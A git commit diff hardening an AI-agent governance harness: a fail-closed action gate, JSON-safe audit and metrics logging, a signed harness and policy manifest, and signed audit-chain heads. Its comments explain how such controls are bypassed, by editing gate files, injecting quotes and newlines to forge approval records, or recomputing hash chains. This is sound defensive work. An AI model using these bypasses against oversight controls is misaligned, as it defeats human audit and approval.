feat: plan 16-01

This commit is contained in:
thanhnv
2026-07-06 21:47:38 +09:00
parent 4419cd9eae
commit 8c3c5e8bff
30 changed files with 1646 additions and 66 deletions
@@ -113,9 +113,22 @@ if re.search(r"\bsudo\b", low):
print("ALLOW|ok") print("ALLOW|ok")
PY PY
)" )"
PY_RC=$?
OUTCOME="${RESULT%%|*}" # SEC-04 (H-05): fail CLOSED. Previously, if the classifier crashed / was killed /
REASON="${RESULT#*|}" # produced no output, RESULT was empty, OUTCOME was "", and the final case fell
# through to ALLOW (fail-open). Now a non-zero classifier RC, empty output, or an
# unrecognized verdict all default to BLOCK — an action is allowed only on an
# explicit, recognized ALLOW/WARN/REQUIRE_APPROVAL verdict.
if [[ "$PY_RC" -ne 0 || -z "$RESULT" ]]; then
OUTCOME="BLOCK"; REASON="classifier_error(rc=$PY_RC)"
else
OUTCOME="${RESULT%%|*}"; REASON="${RESULT#*|}"
fi
case "$OUTCOME" in
ALLOW|WARN|REQUIRE_APPROVAL|BLOCK) : ;;
*) OUTCOME="BLOCK"; REASON="unrecognized_verdict:${OUTCOME:-empty}" ;;
esac
TS="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" TS="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
# Approval clears REQUIRE_APPROVAL only with an explicit (audited) approver. # Approval clears REQUIRE_APPROVAL only with an explicit (audited) approver.
@@ -150,7 +163,12 @@ case "$EFFECTIVE" in
casan_log warn action-gate "ACTION_WARN reason=$REASON" casan_log warn action-gate "ACTION_WARN reason=$REASON"
echo "ACTION_GATE outcome=WARN reason=$REASON" echo "ACTION_GATE outcome=WARN reason=$REASON"
exit 0 ;; exit 0 ;;
*) ALLOW)
echo "ACTION_GATE outcome=ALLOW reason=$REASON" echo "ACTION_GATE outcome=ALLOW reason=$REASON"
exit 0 ;; exit 0 ;;
*)
# SEC-04: fail-closed default — never ALLOW on an unexpected/empty verdict.
casan_log error action-gate "ACTION_GATE_FAILCLOSED outcome=${EFFECTIVE:-empty} reason=$REASON"
echo "ACTION_GATE outcome=BLOCK reason=failclosed:${EFFECTIVE:-empty} ($REASON)" >&2
exit 2 ;;
esac esac
@@ -194,13 +194,55 @@ cat > "$TRACE_FILE" <<EOF
} }
EOF EOF
printf '{"timestamp":"%s","trace_id":"%s","harness":"H6-agentops","agent":"%s","step":"%s","status":"%s","exit_code":%s,"latency_ms":%s,"retry_count":%s,"input_tokens":%s,"output_tokens":%s,"total_tokens":%s,"cost_estimate":%s,"cost_source":"%s","hallucination_signals":%s,"alerts":%s,"input_hash":"%s","output_hash":"%s"}\n' \ # SEC-05 (M-05): serialize via json.dumps so a crafted AGENT_NAME/STEP_NAME cannot
"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$STEP_NAME" "$STATUS" "$EXIT_CODE" "$LATENCY_MS" "$RETRY_COUNT" "$INPUT_TOKENS" "$OUTPUT_TOKENS" "$TOTAL_TOKENS" "$COST_ESTIMATE" "$COST_SOURCE" "$HALLUCINATION_SIGNALS" "$ALERTS_JSON" "$INPUT_HASH" "$OUTPUT_HASH" >> "$METRICS_LOG" # inject a forged metrics record, and an empty/non-numeric metric can't emit invalid
# JSON. String fields are quoted safely; numeric fields are coerced (fail-safe 0).
CASAN_AM_HALLU="$HALLUCINATION_SIGNALS" CASAN_AM_ALERTS="$ALERTS_JSON" python - "$METRICS_LOG" \
"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$STEP_NAME" "$STATUS" "$EXIT_CODE" "$LATENCY_MS" \
"$RETRY_COUNT" "$INPUT_TOKENS" "$OUTPUT_TOKENS" "$TOTAL_TOKENS" "$COST_ESTIMATE" "$COST_SOURCE" \
"$INPUT_HASH" "$OUTPUT_HASH" <<'PY'
import json, os, sys
(log, ts, trace_id, agent, step, status, exit_code, latency, retry,
in_tok, out_tok, tot_tok, cost, cost_source, in_hash, out_hash) = sys.argv[1:]
def num(x):
try: return int(x)
except (ValueError, TypeError): pass
try: return float(x)
except (ValueError, TypeError): return 0
def jval(s, default):
try: return json.loads(s)
except (ValueError, TypeError): return default
rec = {"timestamp": ts, "trace_id": trace_id, "harness": "H6-agentops",
"agent": agent, "step": step, "status": status,
"exit_code": num(exit_code), "latency_ms": num(latency), "retry_count": num(retry),
"input_tokens": num(in_tok), "output_tokens": num(out_tok), "total_tokens": num(tot_tok),
"cost_estimate": jval(cost, 0), "cost_source": cost_source,
"hallucination_signals": jval(os.environ.get("CASAN_AM_HALLU"), 0),
"alerts": jval(os.environ.get("CASAN_AM_ALERTS"), []),
"input_hash": in_hash, "output_hash": out_hash}
# Compact separators to match the original printf layout (regex-parsed downstream).
open(log, "a", encoding="utf-8").write(json.dumps(rec, separators=(",", ":")) + "\n")
PY
for alert in "${ALERTS[@]:-}"; do for alert in "${ALERTS[@]:-}"; do
if [[ -n "$alert" ]]; then if [[ -n "$alert" ]]; then
ALERT_JSON="$(printf '{"timestamp":"%s","trace_id":"%s","severity":"WARN","resource":{"service.name":"%s","service.version":"1.0.0"},"body":{"message":"Alert triggered: %s","alert.type":"%s","step.name":"%s"},"attributes":{"latency_ms":%s,"status":"%s"}}' \ # SEC-05 (M-05): build the alert record with json.dumps (agent/alert/step raw before).
"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$alert" "$alert" "$STEP_NAME" "$LATENCY_MS" "$STATUS")" ALERT_JSON="$(python - "$START_TS" "$TRACE_ID" "$AGENT_NAME" "$alert" "$STEP_NAME" "$LATENCY_MS" "$STATUS" <<'PY'
import json, sys
ts, trace_id, agent, alert, step, latency, status = sys.argv[1:]
def num(x):
try: return int(x)
except (ValueError, TypeError):
try: return float(x)
except (ValueError, TypeError): return 0
print(json.dumps({
"timestamp": ts, "trace_id": trace_id, "severity": "WARN",
"resource": {"service.name": agent, "service.version": "1.0.0"},
"body": {"message": f"Alert triggered: {alert}", "alert.type": alert, "step.name": step},
"attributes": {"latency_ms": num(latency), "status": status},
}, separators=(",", ":")))
PY
)"
printf '%s\n' "$ALERT_JSON" >> "$ALERT_LOG" printf '%s\n' "$ALERT_JSON" >> "$ALERT_LOG"
# Live dispatch (H6-D1): push to the real alert channel when configured. # Live dispatch (H6-D1): push to the real alert channel when configured.
# Delivery failure is queued to the dead-letter file by alert-dispatch.sh. # Delivery failure is queued to the dead-letter file by alert-dispatch.sh.
@@ -0,0 +1,199 @@
#!/usr/bin/env python3
"""CASAN Plan-16 SEC-16 (ARCH-01) — signed harness + policy bundle.
Every gate is bypassable by editing the gate itself: change `security-check.sh`,
`prompt-filter.yaml`, `thresholds.yaml`, `model-digest.pin` or `reviewers.registry`
and the control is simply gone — no input needed. This binds the harness code +
policy files to a manifest whose head is signed with an OFF-REPO key. Before a
run, the harness verifies its self-hash against the signed manifest and REFUSES to
run on any mismatch (enforced mode). An attacker who edits a gate cannot re-sign
the manifest without the off-repo key.
Usage:
bundle-integrity.py generate # hash harness+policy, write + sign manifest
bundle-integrity.py verify [--strict] # re-check; exit 1 on drift / bad signature
Env: CASAN_BUNDLE_ROOT (default .specify), CASAN_BUNDLE_MANIFEST,
CASAN_BUNDLE_KEY_DIR, CASAN_BUNDLE_PUB,
CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature + drift).
"""
import argparse
import fnmatch
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
# Harness code + policy/data files whose modification would silently disable a
# control. Globs are relative to the bundle root (default .specify).
INCLUDE_GLOBS = [
"scripts/bash/*.sh",
"scripts/bash/*.py",
"**/prompt-filter.yaml",
"**/thresholds.yaml",
"**/compression-policy.yaml",
"**/*.pin",
"**/reviewers.registry",
"**/pii-rules.yaml",
"**/pii-rules.json",
"**/redteam-vectors.yaml",
"**/attack-catalog.yaml",
]
# Never bind volatile artifacts (they change every run) or the manifest itself.
EXCLUDE_SUBSTR = ["/logs/", "/output/", "bundle-integrity", "test-integrity"]
def bundle_root() -> str:
return os.environ.get("CASAN_BUNDLE_ROOT") or os.path.join(
os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "..")), ".specify")
def manifest_path() -> str:
return os.environ.get("CASAN_BUNDLE_MANIFEST") or os.path.join(
bundle_root(), "level5", "central-governance", "harness-bundle-manifest.json")
def _enforced() -> bool:
return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
def bundle_files():
root = bundle_root()
found = set()
for pat in INCLUDE_GLOBS:
for path in glob.glob(os.path.join(root, pat), recursive=True):
if os.path.isfile(path) and not any(s in path.replace(os.sep, "/") for s in EXCLUDE_SUBSTR):
found.add(path)
return sorted(found)
def hash_file(path) -> str:
return hashlib.sha256(open(path, "rb").read()).hexdigest()
def build_manifest():
root = bundle_root()
files = {os.path.relpath(f, root): hash_file(f) for f in bundle_files()}
return {"files": files, "file_count": len(files)}
def manifest_head(manifest) -> str:
core = json.dumps(manifest["files"], sort_keys=True, separators=(",", ":"))
return hashlib.sha256(core.encode()).hexdigest()
def _priv():
d = os.environ.get("CASAN_BUNDLE_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
return os.path.join(d, "harness-bundle-private.pem")
def _pub():
return os.environ.get("CASAN_BUNDLE_PUB") or (manifest_path() + ".pub")
def _sig():
return manifest_path() + ".sig"
def _head_file():
return manifest_path() + ".head"
def sign(manifest):
open(_head_file(), "w", encoding="utf-8").write(manifest_head(manifest))
ossl = shutil.which("openssl")
if not ossl:
return
priv, pub = _priv(), _pub()
os.makedirs(os.path.dirname(priv), exist_ok=True)
if not os.path.isfile(priv):
subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", "-out", priv],
capture_output=True)
try:
os.chmod(priv, 0o600)
except OSError:
pass
os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", _sig(), _head_file()], capture_output=True)
def check_signature(manifest):
ossl = shutil.which("openssl")
if not (ossl and os.path.isfile(_head_file()) and os.path.isfile(_sig()) and os.path.isfile(_pub())):
return "unsigned"
if open(_head_file(), encoding="utf-8").read().strip() != manifest_head(manifest):
return "invalid"
res = subprocess.run([ossl, "dgst", "-sha256", "-verify", _pub(), "-signature", _sig(), _head_file()],
capture_output=True)
return "signed" if res.returncode == 0 else "invalid"
def do_generate():
manifest = build_manifest()
os.makedirs(os.path.dirname(manifest_path()), exist_ok=True)
with open(manifest_path(), "w", encoding="utf-8") as fh:
json.dump(manifest, fh, indent=2)
fh.write("\n")
sign(manifest)
print(f"BUNDLE_INTEGRITY_GENERATED files={manifest['file_count']}")
return 0
def do_verify(strict):
mp = manifest_path()
if not os.path.isfile(mp):
# No manifest provisioned. Enforced mode treats this as fail-closed; dev is lax.
if strict or _enforced():
print("BUNDLE_INTEGRITY_FAIL no_manifest_in_enforced_mode", file=sys.stderr)
return 1
print("BUNDLE_INTEGRITY_SKIP no manifest (dev)")
return 0
manifest = json.load(open(mp, encoding="utf-8"))
root = bundle_root()
stored = manifest.get("files", {})
drift = []
for rel, want in stored.items():
path = os.path.join(root, rel)
if not os.path.isfile(path):
drift.append(f"{rel}:removed")
elif hash_file(path) != want:
drift.append(f"{rel}:modified")
# A NEW harness script / policy file that is not in the manifest is also drift.
current = {os.path.relpath(f, root) for f in bundle_files()}
for rel in current - set(stored):
drift.append(f"{rel}:unmanifested")
sig_state = check_signature(manifest)
if sig_state == "invalid":
print("BUNDLE_INTEGRITY_FAIL manifest_signature_invalid", file=sys.stderr)
return 1
if sig_state == "unsigned" and (strict or _enforced()):
print("BUNDLE_INTEGRITY_FAIL manifest_unsigned_in_enforced_mode", file=sys.stderr)
return 1
if drift:
print("BUNDLE_INTEGRITY_FAIL drift " + " ".join(sorted(drift)[:20]), file=sys.stderr)
return 1
print(f"BUNDLE_INTEGRITY_OK files={len(stored)} anchor={sig_state}")
return 0
def main() -> int:
ap = argparse.ArgumentParser()
sub = ap.add_subparsers(dest="cmd", required=True)
sub.add_parser("generate")
v = sub.add_parser("verify")
v.add_argument("--strict", action="store_true")
args = ap.parse_args()
if args.cmd == "generate":
return do_generate()
if args.cmd == "verify":
return do_verify(args.strict)
return 2
if __name__ == "__main__":
raise SystemExit(main())
@@ -84,8 +84,9 @@ RAW_OUTPUT="$TMP_DIR/raw-output-$TRACE_SUFFIX.txt"
casan_log debug harness "action=$ACTION_NAME input=$INPUT_FILE output=$FINAL_OUTPUT key=${IDEMPOTENCY_KEY:0:12}…" casan_log debug harness "action=$ACTION_NAME input=$INPUT_FILE output=$FINAL_OUTPUT key=${IDEMPOTENCY_KEY:0:12}…"
# C7: honor an engaged kill-switch before doing any work (incident containment). # C7: honor an engaged kill-switch before doing any work (incident containment).
# Opt-in (default off) so the baseline is unchanged; production sets it on. # Opt-in (default off) so the baseline is unchanged. SEC-17 (ARCH-03): under
if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" ]]; then # CASAN_PROFILE=prod it defaults ON (secure-by-default); an explicit =0 still wins.
if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" || ( -z "${CASAN_KILLSWITCH_ENFORCE+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
KS_SCOPE="${CASAN_KILLSWITCH_SCOPE:-project}" KS_SCOPE="${CASAN_KILLSWITCH_SCOPE:-project}"
KS_ID="${CASAN_KILLSWITCH_ID:-${CASAN_PROJECT:-current}}" KS_ID="${CASAN_KILLSWITCH_ID:-${CASAN_PROJECT:-current}}"
if ! bash "$SCRIPT_DIR/kill-switch.sh" check "$KS_SCOPE" "$KS_ID" >/dev/null 2>&1; then if ! bash "$SCRIPT_DIR/kill-switch.sh" check "$KS_SCOPE" "$KS_ID" >/dev/null 2>&1; then
@@ -96,6 +97,23 @@ if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" ]]; then
fi fi
fi fi
# SEC-16 (ARCH-01): in enforced mode, verify the harness+policy bundle against its
# signed manifest and REFUSE to run on any drift — editing a gate/policy is a bypass
# that leaves no input trace. Only active when a manifest is provisioned (so dev and
# prod-without-a-manifest are unaffected); a present-but-drifted bundle fails closed.
if [[ ( "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ) \
&& -f "$SCRIPT_DIR/bundle-integrity.py" ]]; then
BUNDLE_MANIFEST="${CASAN_BUNDLE_MANIFEST:-$PROJECT_ROOT/.specify/level5/central-governance/harness-bundle-manifest.json}"
if [[ -f "$BUNDLE_MANIFEST" ]]; then
if ! python "$SCRIPT_DIR/bundle-integrity.py" verify >/dev/null 2>&1; then
casan_log error harness "BUNDLE_INTEGRITY_DRIFT — refusing to run $ACTION_NAME (harness/policy modified vs signed manifest)"
: > "$FINAL_OUTPUT"
echo "BUNDLE_INTEGRITY_DRIFT action=$ACTION_NAME (harness or policy modified vs signed manifest)" >&2
exit 2
fi
fi
fi
run_phase "H4-in" "$SCRIPT_DIR/security-check.sh" "$INPUT_FILE" "$SAFE_INPUT" input run_phase "H4-in" "$SCRIPT_DIR/security-check.sh" "$INPUT_FILE" "$SAFE_INPUT" input
run_phase "H5" "$SCRIPT_DIR/governance-check.sh" "$SAFE_INPUT" "$APPROVED_INPUT" "$ACTION_NAME" run_phase "H5" "$SCRIPT_DIR/governance-check.sh" "$SAFE_INPUT" "$APPROVED_INPUT" "$ACTION_NAME"
@@ -136,7 +154,8 @@ fi
# broken; block enforces (fail-closed) for production/strict runs. # broken; block enforces (fail-closed) for production/strict runs.
TOOL_OUTPUT_SCAN_MODE="${CASAN_TOOL_OUTPUT_SCAN:-}" TOOL_OUTPUT_SCAN_MODE="${CASAN_TOOL_OUTPUT_SCAN:-}"
if [[ -z "$TOOL_OUTPUT_SCAN_MODE" ]]; then if [[ -z "$TOOL_OUTPUT_SCAN_MODE" ]]; then
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" ]]; then TOOL_OUTPUT_SCAN_MODE="block"; else TOOL_OUTPUT_SCAN_MODE="warn"; fi # SEC-17/M-02: prod profile defaults tool-output scanning to block (fail-closed).
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || ( -z "${CASAN_SECURITY_STRICT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then TOOL_OUTPUT_SCAN_MODE="block"; else TOOL_OUTPUT_SCAN_MODE="warn"; fi
fi fi
if [[ "$TOOL_OUTPUT_SCAN_MODE" != "off" ]]; then if [[ "$TOOL_OUTPUT_SCAN_MODE" != "off" ]]; then
TOS_RC=0 TOS_RC=0
@@ -86,6 +86,22 @@ run "phase-selfimprove" bash "$TESTS/phase-selfimprove-tests.sh"
run "phase-governance-report" bash "$TESTS/phase-governance-report-tests.sh" run "phase-governance-report" bash "$TESTS/phase-governance-report-tests.sh"
run "phase-preflight" bash "$TESTS/phase-preflight-tests.sh" run "phase-preflight" bash "$TESTS/phase-preflight-tests.sh"
# Plan-16 security-audit remediation (P0) — each control has a fail-able test.
run "phase-sec01-unsigned-fail" bash "$TESTS/phase-sec01-tests.sh"
run "phase-sec02-no-local-key" bash "$TESTS/phase-sec02-tests.sh"
run "phase-sec03-rollback-rce" bash "$TESTS/phase-sec03-tests.sh"
run "phase-sec04-action-gate" bash "$TESTS/phase-sec04-tests.sh"
run "phase-sec05-json-safe" bash "$TESTS/phase-sec05-tests.sh"
run "phase-sec06-cp-signed" bash "$TESTS/phase-sec06-tests.sh"
run "phase-sec16-bundle" bash "$TESTS/phase-sec16-tests.sh"
run "phase-sec17-prod-profile" bash "$TESTS/phase-sec17-tests.sh"
run "phase-sec18-test-integrity" bash "$TESTS/phase-sec18-tests.sh"
# ARCH-02: coverage cannot silently drop; ARCH-01: harness/policy cannot silently
# drift. Both SKIP cleanly when no manifest is provisioned (non-strict dev/CI).
run "test-integrity" python3 "$SCRIPT_DIR/test-integrity.py" verify
run "bundle-integrity" python3 "$SCRIPT_DIR/bundle-integrity.py" verify
if [[ "${CASAN_CI_RUN_BACKEND:-1}" == "1" ]]; then if [[ "${CASAN_CI_RUN_BACKEND:-1}" == "1" ]]; then
if command -v npm >/dev/null 2>&1; then if command -v npm >/dev/null 2>&1; then
run "backend-tests" npm test -w backend run "backend-tests" npm test -w backend
@@ -15,6 +15,8 @@ import argparse
import hashlib import hashlib
import json import json
import os import os
import shutil
import subprocess
import sys import sys
from datetime import datetime, timezone from datetime import datetime, timezone
@@ -79,6 +81,79 @@ def append_audit(store, base) -> None:
store["audit"].append({**without_hash, "hash": hash_entry(without_hash)}) store["audit"].append({**without_hash, "hash": hash_entry(without_hash)})
# --- SEC-06 (H-06): sign the audit-chain HEAD -------------------------------
# The hash chain alone is recomputable: a file-writer who edits the store can
# recompute every hash and `verify-audit` (chain-only) would still PASS, so
# governance-report would falsely report CERTIFIED. Signing the head with an
# OFF-REPO private key (pubkey provisioned out-of-band; KMS in prod = SEC-02/16)
# means a recompute-attacker without the key cannot forge a matching signature.
def _enforced() -> bool:
return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
def _cp_priv() -> str:
key_dir = os.environ.get("CASAN_CP_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
return os.path.join(key_dir, "cp-private.pem")
def _cp_pub() -> str:
# Prod provisions this out-of-band (or via KMS). Default is adjacent to the
# store for self-contained dev; an attacker who can also rewrite the pubkey is
# covered by ARCH-01/SEC-16 (signed harness+policy bundle).
return os.environ.get("CASAN_CP_PUB") or (store_path() + ".pub")
def _head_paths():
sp = store_path()
return sp + ".head", sp + ".head.sig"
def chain_head(store) -> str:
return store["audit"][-1]["hash"] if store["audit"] else GENESIS_HASH
def sign_head(store) -> None:
head_file, sig_file = _head_paths()
head = chain_head(store)
with open(head_file, "w", encoding="utf-8") as fh:
fh.write(head)
ossl = shutil.which("openssl")
if not ossl:
return # keyless dev: no signature — enforced mode rejects at verify time
priv, pub = _cp_priv(), _cp_pub()
os.makedirs(os.path.dirname(priv), exist_ok=True)
if not os.path.isfile(priv):
subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048",
"-out", priv], capture_output=True)
try:
os.chmod(priv, 0o600)
except OSError:
pass
os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
# Always re-export the pubkey so it matches the signing key (key-sync invariant).
subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", sig_file, head_file], capture_output=True)
def verify_signature(store):
"""Returns state in {'signed','unsigned','invalid'} + a detail string."""
head_file, sig_file = _head_paths()
pub = _cp_pub()
ossl = shutil.which("openssl")
if not (ossl and os.path.isfile(head_file) and os.path.isfile(sig_file) and os.path.isfile(pub)):
return "unsigned", "missing signature/pubkey/openssl"
try:
stored_head = open(head_file, encoding="utf-8").read().strip()
except OSError:
return "invalid", "head-file unreadable"
if stored_head != chain_head(store):
return "invalid", "head-file != recomputed head (chain recomputed?)"
res = subprocess.run([ossl, "dgst", "-sha256", "-verify", pub, "-signature", sig_file, head_file],
capture_output=True)
return ("signed", "ok") if res.returncode == 0 else ("invalid", "signature verify failed")
def do_set(key, value, actor, reason, approval): def do_set(key, value, actor, reason, approval):
policy = SETTINGS_POLICY.get(key) policy = SETTINGS_POLICY.get(key)
if policy is None: if policy is None:
@@ -105,6 +180,7 @@ def do_set(key, value, actor, reason, approval):
"actor": actor, "reason": reason, "at": nxt["updatedAt"], "actor": actor, "reason": reason, "at": nxt["updatedAt"],
}) })
save_store(store) save_store(store)
sign_head(store)
print(json.dumps(nxt, ensure_ascii=False)) print(json.dumps(nxt, ensure_ascii=False))
return 0 return 0
@@ -131,6 +207,7 @@ def do_rollback(key, actor, reason):
"actor": actor, "reason": reason, "at": restored["updatedAt"], "actor": actor, "reason": reason, "at": restored["updatedAt"],
}) })
save_store(store) save_store(store)
sign_head(store)
print(json.dumps(restored, ensure_ascii=False)) print(json.dumps(restored, ensure_ascii=False))
return 0 return 0
@@ -141,9 +218,17 @@ def verify_audit():
for entry in store["audit"]: for entry in store["audit"]:
rest = {k: v for k, v in entry.items() if k != "hash"} rest = {k: v for k, v in entry.items() if k != "hash"}
if rest.get("prevHash") != prev_hash or hash_entry(rest) != entry["hash"]: if rest.get("prevHash") != prev_hash or hash_entry(rest) != entry["hash"]:
return {"ok": False, "brokenAt": entry["seq"]} return {"ok": False, "brokenAt": entry["seq"], "anchor": "chain-broken"}
prev_hash = entry["hash"] prev_hash = entry["hash"]
return {"ok": True, "brokenAt": None} # SEC-06: the chain is recomputable, so require a valid HEAD signature. A
# present-but-mismatched signature is always a failure; a MISSING signature
# fails only in enforced mode (dev stays permissive for backward compat).
sig_state, detail = verify_signature(store)
if sig_state == "invalid":
return {"ok": False, "brokenAt": None, "anchor": "signature-invalid", "detail": detail}
if sig_state == "unsigned" and _enforced():
return {"ok": False, "brokenAt": None, "anchor": "unsigned-strict-fail", "detail": detail}
return {"ok": True, "brokenAt": None, "anchor": sig_state}
def parse_value(raw): def parse_value(raw):
@@ -185,7 +270,7 @@ def main() -> int:
print(json.dumps(load_store()["audit"], ensure_ascii=False)); return 0 print(json.dumps(load_store()["audit"], ensure_ascii=False)); return 0
if args.cmd == "verify-audit": if args.cmd == "verify-audit":
verdict = verify_audit() verdict = verify_audit()
print(f"CP_AUDIT ok={verdict['ok']} brokenAt={verdict['brokenAt']}") print(f"CP_AUDIT ok={verdict['ok']} brokenAt={verdict['brokenAt']} anchor={verdict.get('anchor')}")
return 0 if verdict["ok"] else 1 return 0 if verdict["ok"] else 1
if args.cmd == "effective": if args.cmd == "effective":
# Single read path for "effective setting": store value if set, else default. # Single read path for "effective setting": store value if set, else default.
@@ -103,6 +103,17 @@ case "$CMD" in
exit 1 exit 1
fi fi
else else
# SEC-01 (H-01): enforced mode treats a missing/unverifiable pack signature
# as FAIL, otherwise deleting evidence-pack.sig after editing packed files
# would still verify as a "valid unsigned" pack.
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
MISSING=""
[[ -f "$SIG_FILE" ]] || MISSING="$MISSING pack-sig"
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
echo "EVIDENCE_PACK_UNSIGNED_STRICT_FAIL dir=$PACK_DIR missing=${MISSING# }" >&2
exit 1
fi
echo "EVIDENCE_PACK_VALID anchor=unsigned dir=$PACK_DIR" echo "EVIDENCE_PACK_VALID anchor=unsigned dir=$PACK_DIR"
fi fi
;; ;;
@@ -150,27 +150,37 @@ RECORD_CORE="$(printf '%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s' "$TIMESTAMP" "$TRACE_ID
RECORD_HASH="$(printf '%s' "$RECORD_CORE" | hash_text)" RECORD_HASH="$(printf '%s' "$RECORD_CORE" | hash_text)"
TRACE_FILE="$TRACE_DIR/governance-$TRACE_ID.json" TRACE_FILE="$TRACE_DIR/governance-$TRACE_ID.json"
cat > "$TRACE_FILE" <<EOF # SEC-05 (H-04): serialize both the standalone trace file and the appended audit
{ # chain line via json.dumps. Previously ACTOR/APPROVER/ACTION_NAME were interpolated
"trace_id": "$TRACE_ID", # raw, so a value containing `"` + newline could inject a SECOND forged audit record
"timestamp": "$TIMESTAMP", # (a fabricated "approved" decision). The record_hash is still computed from
"harness": "H5-governance", # RECORD_CORE above, so verify-audit-chain.sh recomputes and matches unchanged.
"action": "$ACTION_NAME", CASAN_GC_REASONS="$REASONS_JSON" python - "$TRACE_FILE" "$AUDIT_LOG" \
"actor": "$ACTOR", "$TIMESTAMP" "$TRACE_ID" "$ACTION_NAME" "$ACTOR" "$RISK_LEVEL" "$DECISION" \
"risk_level": "$RISK_LEVEL", "$APPROVAL_STATUS" "$APPROVER" "$INPUT_HASH" "$OUTPUT_HASH" "$PREV_HASH" "$RECORD_HASH" <<'PY'
"decision": "$DECISION", import json, os, sys
"approval_status": "$APPROVAL_STATUS", (trace_file, audit_log, ts, trace_id, action, actor, risk, decision,
"approver": "$APPROVER", approval_status, approver, input_hash, output_hash, prev_hash, record_hash) = sys.argv[1:]
"reasons": $REASONS_JSON, try:
"input_hash": "$INPUT_HASH", reasons = json.loads(os.environ.get("CASAN_GC_REASONS") or "[]")
"output_hash": "$OUTPUT_HASH", except ValueError:
"previous_record_hash": "$PREV_HASH", reasons = []
"record_hash": "$RECORD_HASH" rec = {
"timestamp": ts, "trace_id": trace_id, "harness": "H5-governance",
"action": action, "actor": actor, "risk_level": risk, "decision": decision,
"approval_status": approval_status, "approver": approver,
"input_hash": input_hash, "output_hash": output_hash,
"previous_record_hash": prev_hash, "record_hash": record_hash,
} }
EOF trace = {**rec, "reasons": reasons}
with open(trace_file, "w", encoding="utf-8") as f:
printf '{"timestamp":"%s","trace_id":"%s","harness":"H5-governance","action":"%s","actor":"%s","risk_level":"%s","decision":"%s","approval_status":"%s","approver":"%s","input_hash":"%s","output_hash":"%s","previous_record_hash":"%s","record_hash":"%s"}\n' \ json.dump(trace, f, indent=2)
"$TIMESTAMP" "$TRACE_ID" "$ACTION_NAME" "$ACTOR" "$RISK_LEVEL" "$DECISION" "$APPROVAL_STATUS" "$APPROVER" "$INPUT_HASH" "$OUTPUT_HASH" "$PREV_HASH" "$RECORD_HASH" >> "$AUDIT_LOG" f.write("\n")
with open(audit_log, "a", encoding="utf-8") as f:
# Compact separators: the chain line is regex-parsed elsewhere and must match
# the original printf format (no space after ':' / ',').
f.write(json.dumps(rec, separators=(",", ":")) + "\n")
PY
# --- External anchor: cryptographically sign the new chain head --- # --- External anchor: cryptographically sign the new chain head ---
# A re-forged chain (recomputed hashes) changes the head; without the private # A re-forged chain (recomputed hashes) changes the head; without the private
@@ -186,16 +196,27 @@ if command -v openssl >/dev/null 2>&1; then
AUDIT_PUB="$PUB_DIR/audit-public.pem" AUDIT_PUB="$PUB_DIR/audit-public.pem"
mkdir -p "$PUB_DIR" "$PRIV_DIR" mkdir -p "$PUB_DIR" "$PRIV_DIR"
if [[ ! -f "$AUDIT_PRIV" ]]; then if [[ ! -f "$AUDIT_PRIV" ]]; then
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$AUDIT_PRIV" 2>/dev/null if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
chmod 600 "$AUDIT_PRIV" # SEC-02 (H-02): in enforced mode NEVER auto-generate a local signing key.
# A freshly-minted key next to the data lets any file-writer re-sign a forged
# head. Prod must provision the key out-of-band (KMS/HSM — see sign-audit-head.sh
# Vault path). With no key we skip signing; the head stays unsigned and SEC-01
# strict verification then FAILS CLOSED.
echo "AUDIT_SIGN_SKIPPED_ENFORCED no off-repo/KMS key provisioned; head left unsigned (verify fails closed)" >&2
else
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$AUDIT_PRIV" 2>/dev/null
chmod 600 "$AUDIT_PRIV"
fi
fi
if [[ -f "$AUDIT_PRIV" ]]; then
# Always re-export the public key so it matches the private key we sign with.
# Without this, a private key that PERSISTS on a CI runner drifts out of sync
# with a freshly checked-out audit-public.pem (e.g. one committed after a
# Vault-KMS signing), and verify-audit-chain.sh would reject a genuine head.
openssl rsa -in "$AUDIT_PRIV" -pubout -out "$AUDIT_PUB" 2>/dev/null || true
printf '%s' "$RECORD_HASH" > "$AUDIT_DIR/audit-head.txt"
